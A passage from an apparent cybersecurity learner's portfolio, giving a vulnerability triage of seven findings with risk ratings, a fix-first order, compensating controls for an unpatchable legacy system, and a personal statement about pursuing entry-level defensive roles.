| 1 | CRITICAL | HIGH | Public website; actively exploited; patch available. |
| 2 | HIGH | MEDIUM | Internal customer DB server; not internet-facing; high value; no exploitation; patch available. |
| 3 | CRITICAL | NONE/LOW | Software not installed anywhere; nothing to exploit. |
| 4 | MEDIUM | LOW | Isolated test machine; no valuable data; no external access; patch available. |
| 5 | HIGH | HIGH | Finance laptops; sensitive financial files; reached via phishing/web; no known exploitation; patch available. |
| 6 | CRITICAL | HIGH | Legacy system; internet-facing; unsupported, cannot be patched; compensating controls possible. |
| 7 | LOW | LOW | Public website; minor information disclosure only; patch available. |

### Justifications

1. **HIGH:** Critical flaw on an internet-facing system that attackers are exploiting in the wild, with a fix ready: highest exposure plus active exploitation.
2. **MEDIUM:** The system is very valuable (customer database) and the severity is high, but it is not directly internet-facing, has other defences in front of it, and is not being exploited, so the likelihood is lower.
3. **NONE/LOW:** The software is not installed anywhere, so there is nothing to exploit; this is a scanner false positive or a stale flag, regardless of its CRITICAL label.
4. **LOW:** A medium flaw on a machine with no valuable data and no external access means very little can be reached or lost.

5. **HIGH:** Sensitive financial data on machines that read email and browse the web (the usual route in via phishing), so exposure and value are both significant even without known exploitation.
6. **HIGH:** A critical flaw on an internet-facing system that can never be patched is a permanent open door, so it stays high risk until it is isolated or retired.
7. **LOW:** Minor information disclosure only, so impact is small, although its public exposure and easy fix put it above the isolated test machine.

## 3. PRIORITISED FIX-FIRST ORDER

| Order | Finding | Why |
|---|---|---|
| 1st | Finding 1 | Actively exploited, internet-facing, and the patch is ready. The clearest "fix right now": emergency patch. |
| 2nd | Finding 6 | Internet-facing and critical, but it cannot be patched, so the work is compensating controls started immediately (isolate, restrict, monitor). |
| 3rd | Finding 5 | Sensitive finance data on laptops that are exposed to phishing and web threats. |
| 4th | Finding 2 | High-value customer database server, but protected by other layers and not exploited. |
| 5th | Finding 7 | Low impact, but public-facing and an easy patch. |
| 6th | Finding 4 | Isolated test machine with nothing of value. |
| Drop | Finding 3 | The software is not installed, so there is no real risk and no patching work is needed. |

## 4. TRADE-OFFS AND DEFERRED RISK

### Consciously deferred

Findings 2, 4 and 7 are scheduled for later patch cycles, and Finding 3 is dropped. By deferring Finding 2, we accept a short window in which the customer database server still carries a high-severity OS flaw. We accept this because it is not internet-facing, has other defences in front of it, and is not being exploited; the risk is reduced but not removed.

### Compensating controls (for what can't be patched now): the legacy system (Finding 6)

- Isolate it on a separate network segment (DMZ-style) so a compromise cannot reach internal systems such as the customer database.
- Restrict inbound access to only the ports and source addresses genuinely needed; disable unused services.
- Place it behind a web application firewall or intrusion prevention system that can block known exploit attempts (virtual patching).

### Would re-prioritise if

- Exploitation of any deferred vulnerability (especially Finding 2 or 5) is reported in the wild, or a public exploit is released; it would then move up immediately.
- Finding 6 shows signs of attack or a working exploit appears, which would escalate it to emergency status.
- The software in Finding 3 turns out to be installed somewhere, in which case it must be reassessed.

## 5. REASONING APPROACH

Severity (the CVSS rating) was the starting point, not the answer. Each finding was then weighed by exposure (can attackers reach it?), value (how critical is the system or data?), active exploitation (is it being attacked now?), and patch availability (can it be fixed, or does it need compensating controls?). This changes the picture a lot: a CRITICAL finding in software that is not installed ranks last, a MEDIUM finding on an isolated test machine is lower risk than a LOW finding on the public website, and a critical unpatchable system is handled with controls instead of waiting for a patch. The key insight is that severity is not the same as real risk; real risk is severity weighed by context.

# Personal Statement

Ninety days ago I set out to build a real foundation in cybersecurity: not to memorise terms, but to learn how security people actually think, investigate and decide. I wanted work I could show, not just a certificate to list.

Two things changed how I see the field. The first was the kill chain. Writing the breach analysis, I stopped seeing an attack as one dramatic event and started seeing seven separate chances to stop it, and realised the best defence is often the unglamorous one: patching. The second was the vulnerability triage. Ranking seven findings forced me to accept that a “critical” score on software nobody runs matters less than a medium flaw on something exposed, and that severity is only the starting point; real risk is severity weighed by context.

I’m proudest of the Maya Network Defence Plan, because it’s the piece closest to real work: a messy, flat network, a non-technical owner, limited budget, and a plan she could actually follow and test. I’m also proud that my Personal Security Audit led me to fix real problems on my own accounts, not just write about them. Looking back, the Linux and Wireshark work taught me the most about being honest in an investigation: stating what the evidence supports, how confident I am, and what I haven’t checked.

I’m drawn to defensive work: analysis, investigation, triage and risk. That’s where my strongest artifacts sit and where I enjoyed the thinking most. From here I’m applying for entry-level defensive roles such as SOC analyst and security analyst, and I’ll keep building on this foundation with hands-on labs, more packet and log analysis, and deeper work in the frameworks I’ve started using. This portfolio is the starting point, not the finish line.

# Contact

Email: [add your email address]

LinkedIn: [add your LinkedIn URL]